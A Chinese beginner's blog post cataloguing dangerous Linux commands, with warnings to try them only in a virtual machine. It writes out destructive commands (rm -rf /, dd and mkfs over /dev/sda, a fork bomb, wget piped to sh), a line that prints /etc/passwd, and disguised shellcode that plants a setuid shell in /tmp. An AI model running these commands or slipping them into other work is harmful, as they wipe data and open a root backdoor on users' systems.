linux入门必看

ゞ浴缸里的玫瑰 2022-04-10 01:16 330阅读 0赞

# linux 入门必看-----之作死操作 #

作为linux的学习或是使用者，不仅仅要熟练掌握常用的功能，还要避开危险的命令，这样才能让自己的系统更加稳定的运行。

下面是简单介绍一下。

**本篇目录：**

\-常用命令

\-注意点

\-大招

（**以下的命令均非常危险，请勿在真实机上执行，数据无价且珍惜！要测试请在虚拟机上运行，若由于以下命令出现损失，本人概不负责！！**）

### 常用命令： ###

\-----------------------------------------------

**插嘴：**

linux把所有操作分为三类：读，写，执行。其实本身这三项操作没什么危险之说，主要是由修改了系统运行依赖的文件，或是重要珍贵的数据，再或者是在浪费资源（比如循环执行没用的命令，或者白白占用内存硬盘网络等）。说白了，就是计算机产生了我们不希望的结果。

其中只是把文件删了的还能恢复（删除操作只删了索引块，未对实际文件所在位置覆盖写入），而覆盖写入则不容易恢复。

\-----------------------------------------------------

**1. rm -rf 命令　**  
rm -rf命令在Linux下通常用来删除文件,删除文件并不在乎该文件的权限，而只是在意其父目录是否有写权限。先介绍一下，下列是一些rm 命令的选项。  
rm -r 命令递归的删除文件夹，包括非空的文件夹。  
rm -f -f这个参数只是表示不必确认，而是直接删除。另外，原始的rm命令其实也是没有删除提示的，只是一般的发行版都会将rm通过别名的方式增加-i参数来要求删除确认，而-f则抑制了这个提示。

常用命令

rm -rf file：删除名称为file的文件

rm -rf \*:　删除当前目录的所有文件。  
rm -rf . : 删除当前文件夹及其子文件夹。

危险举例：  
rm -rf / : 删除根目录下和其下所有目录及文件（除了正在运行的misc net等硬件文件，sys目录下的一些系统文件如：挂载的磁盘信息等外 ，所有东西全没了，【结果：除了bash内嵌命令外均不能使用，且下次开机会卡死在grub界面 无法进内核】。别问我怎么知道的，自己试试，仅指虚拟机）。  
  
所以当你要执行rm -rf命令时请留心一点。可以在“.bashrc”文件或下面这条命令对‘rm‘命令创建rm -i的别名，来预防用 ‘rm‘命令删除文件时的事故，它会要求你确认每一个删除请求。

**2. alias**

这条命令从名字上可以看出，别名，即给一个命令起一个别名。先来看一下正常操作：

直接alias 时可以查看所有设置过的别名。

alias ll='ls -l'                  （一般发行版linux帮我们设置过了）  
　　alias ls='ls --color=auto'（一般发行版linux帮我们设置过了）

可以自己设置试试，**让长且难记的命令变得简单**（注意等号后面没有空格，退出后就不生效了，若想生效在~/.bashrc中加入，不过这样也是仅对当前用户有效，执行source ~/.bashrc使得文件生效）：

alias grep='grep --color=auto'  
　　alias l='ls -CF'  
　　alias la='ls -A'

alias rm='rm -i'    \#这条命令可以使得每次删除时每次都会提示，就像windows直接删除时候一样，需要确认，以免误删。

unalias可以删掉设置过的别名（退出登录后还原）

**危险命令**：alias cd='rm -rf'    这条命令将 cd 作为rm -rf 的一个别名，这就很坑了,,,cd是切换目录命令，几乎是最常用的，有啥不讲你也懂得。  
  
**3. 　>**

这个箭头表示把它左边的内容或者命令的执行结果输入到它右边，但是会覆盖掉右边的内容，其实这个命令也是常用的命令，比如创建一个新文件并写入内容hello: “hello” > newfile 就可以完成，相当于touch newfile，然后vi newfile，进入后输入 i 进入编辑模式，然后写hello，最后esc 再输入:wq ，前者操作非常方便，当然还有清空一个文件等等，十分方便。另补充：>>表示追加，不覆盖。

但由于它是覆盖写入，那乱用就会有危险，比如 **> /dev/sda**

上列命令会将某个‘命令‘的输出写到块设备/dev/sda中（/dev/sda一般表示硬盘，也就是说该命令会清空硬盘内容）。该操作会将在块设备中的所有数据块替换为命令写入的原始数据，从而导致整个块设备的数据丢失。  
  
**4. mv**

mv表示移动文件，或者重命名，也是最常使用命令之一，但还有个东西（/dev/null），相当于回收站（不可回收的那种，扔进去就回不来了）那么如果使用 mv file /dev/null，就会把file文件删掉  
这个命令会移动某个‘文件夹‘到/dev/null。在Linux中 /dev/null 或 null 设备是一个特殊的文件，所有写入它的数据都会被清除，然后返回写操作成功。（这种删除也可以用恢复软件恢复）

危险举例： mv /home/user/\* /dev/null

上列命令会将User目录所有内容移动到/dev/null，这意味着所有东西都被‘卷入’黑洞　(null)之中。  
  
**5. wget**

wget命令可以说是linux下面的上网或者说是下载操作，会经常用到，但是如果使用不当，也会带来一定风险。

举例（与 | sh 组合 ）：http://malicious\_source -O- | sh  
上列命令会从恶意源下载一个文件（可能是脚本，甚至是恶意的），并用shell执行。wget命令会下载文件，而sh会（无条件的）执行下载的内容。  
注意: 你应该时刻注意你下载包或脚本的源。只能使用那些从可信任的源中下载脚本/程序。（所以，可以先wget下来，然后看看其中到底写了些什么，然后考虑是否执行，不要直接加 | sh。）  
  
**6. mkfs**

格式化主要的目的不是删除，而是将文件系统按一定格式来重新划分它，但这么做会导致清空原来的数据。

举例：mkfs.ext3 /dev/sda  
上列命令会格式化块设备‘sda’，linux中通常不会直接使用/dev/sda这样的设备，除非是作为raw设备使用，一般都需要将新的硬盘挂载，转换成可以识别的文件系统格式后才使用（windows下一样）。当然，格式化后，硬盘中原来的数据自然会消失。

补充：mkfs.cramfs 也是格式化，但不需要管理员权限。  
  
**7. dd**

其实这个命令很好用，主要用来拷贝时做些数据转换，比如复制文件，备份等，但是会覆盖写入。先举几个正常例子（从百度百科复制过来的）。

1.将本地的/dev/hdb整盘备份到/dev/hdd

dd if=/dev/hdb of=/dev/hdd

2.将/dev/hdb全盘数据备份到指定路径的image文件

dd if=/dev/hdb of=/root/image

3.将备份文件恢复到指定盘

dd if=/root/image of=/dev/hdb

4.备份/dev/hdb全盘数据，并利用gzip工具进行压缩，保存到指定路径

dd if=/dev/hdb | gzip > /root/image.gz

5.将压缩的备份文件恢复到指定盘

gzip -dc /root/image.gz | dd of=/dev/hdb

危险举例**： dd if=/dev/random of=/dev/sda**  
上列命令会向块设备sda写入随机的垃圾文件从而擦出数据，由于是覆盖写入，这时恢复起来就比较难了。

**8.mount**

mount是最常用的挂载命令，所有储存设备都需要挂载后才能使用，系统盘是在你装系统的时候就设置好默认挂载的，如果乱挂载会导致一系列问题。

举例：mount -o remount,noexec /hmoe

上述命令-o是高级选项，remount是重新挂载，noexec表示不可执行，意思是把home重新挂载了，而没有执行的权限，这条命令用完了可以使用mount -o remount,exec /hmoe 恢复，列在这里不是代表他危险，而是如果执行了上面一条，忘记执行后面一条，则执行的时候会有权限问题，如果很久才使用，可能忘了是什么原因导致的不能执行，而且不易发觉

**\#以上是写，下面举例执行\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\***

**9 git clone **

git clone可以说是程序员必不可少的技能了，但是如果克隆恶意源，会浪费自己系统的资源，导致死循环

举例：

git clone git://git.kernel.org/pub/scm/utils/kup/kup.git

\#而源码：

git clone
     /dev/null; clear; echo -n "Hello ";whoami|tr -d '\n';echo -e '!\nThat was a bad idea. Don'"'"'t copy code from websites you don'"'"'t trust! Here'"'"'s the first line of your /etc/passwd: ';head -n1 /etc/passwd git clone 
     git://git.kernel.org/pub/scm/utils/kup/kup.git

死循环啊。

**10. :()\{:|:&\};: 命令**  
这就是个fork 炸弹的实例。具体操作是通过定义一个名为 ‘:‘的函数，它会调用自己两次，一次在前台另一次运行在后台。它会反复的执行下去直到系统崩溃（内存溢出）。  
:()\{:|:&\};:

第一个冒号表示函数名，括号表示参数（这里为空），花括号表示函数体，这个冒号表示调用自己，竖线代表管道，后面的也会执行，&表示在后台运行，最后一个分号表示执行这个函数。

**11.安装命令**

各个发行版通常都有自己的软件安装程序，比如 yum、apt、dnf、zypper 等等，通常都有类似的参数比如 -install，uninstall 等

而要小心的是卸载命令，比如zypper rm GRUB2，结果是把内核卸载了，后果你懂的，总之这类命令要注意~

**12.chmod**

chmod是修改权限的命令，但乱用也会造成危害甚至没法开机。

举例：chmod -R 777 /，-R是递归，777 / 是让所有人对所有文件的操作权限都为最高。但这样会导致无法开机。

**13关机**

linux不像windows，是多用户的系统，一般不进行关机，原因不在此详细叙述，总而言之，关机不安全，而不恰当的关机更是如此：

halt

poweroff

init 0

都是不正确的关机方式。

\------------------------------------

插嘴：

我认为其实根本不存在什么危险命令，只是因为root权限太高，而linux太忠诚，让他做什么就做什么，让他服务你的客户他就服务你的客户，让他自杀它立马自杀（修改系统运行所需文件）。

而windows中的Administrator其实不是所有者，权限也很少，让他自杀他不会去做，而是提醒和反抗你。

既然它这么听你的话，那就要好好对它啊，才能让它更好的完成我们交给他的任务，**当涉及到系统文件或者宝贵数据时候要小心啦~**

\-------------------------------------------

### 恶意命令： ###

恶意命令是制造者为实验好玩或满足自己虚荣心、攀比心理、幸灾乐祸等心态的产物。（类似开玩笑开过头）。也许制造者并无恶意，但是由于.....等等等等（包括种种原因，略过）。总之，它大多对你是未知的，对你的计算机有危害，下仅举例。

**一、隐藏命令　**  
下面的命令其实就是上面第一个命令 (rm -rf)。这里的代码是隐藏在十六进制里的,一个无知的用户可能就会被愚弄。在终端里运行下面命令可能会擦除你的根分区。  
这个命令表明通常真正的危险是隐藏的，不会被轻易的检测到。

举例如下：相当于rm -rf

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
    release */
    = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
    “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
    “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
    “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
    “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
    “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
    “\x6e\x2f\x73\x68\x00\x2d\x63\x00″
    “cp -p /bin/sh /tmp/.beyond; chmod 4755
    /tmp/.beyond;”;

不仅如此，恶意代码也可能在大型的源码文件中，也不容易找出它。

因此**不要轻易编译／运行未知来源的代码。**

**二、tar boom**

（比如解压一个未知的tar文件，有可能是恶作剧者制造的由很多文件打包在一起的tar，如果直接解压在当前目录，有可能让当前目录文件杂乱），或者你已经收到一个压缩文件,你被要求提取，这个看起来很小的文件,可能小到KB。事实上,该小尺寸的压缩文件包含高度压缩数据甚至可能几十几百G。

所以**解压未知压缩包前可以先看看里面有啥**

**三、谨慎对待系统文件**

**比如系统自动执行的地方**

.bashrc（登录系统自动执行）

/etc/fstab（硬盘自动挂载）

/etc/inittab（开机要做的事情）

/proc/sysrq-trigger（内核相关调试文件）

...等等

**执行脚本，尤其定时脚本**

**特殊文件**dev/null     dev/zero 等

## //\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\* ##

# 最后大招： #

危险的命令往往是不知道的命令，所以要多加学习。

最最危险的不是知道多么多危险的命令，而是小白登陆了root。

因此学习的时候建议不要以root身份操作，需要时su，用完了exit，会更安全~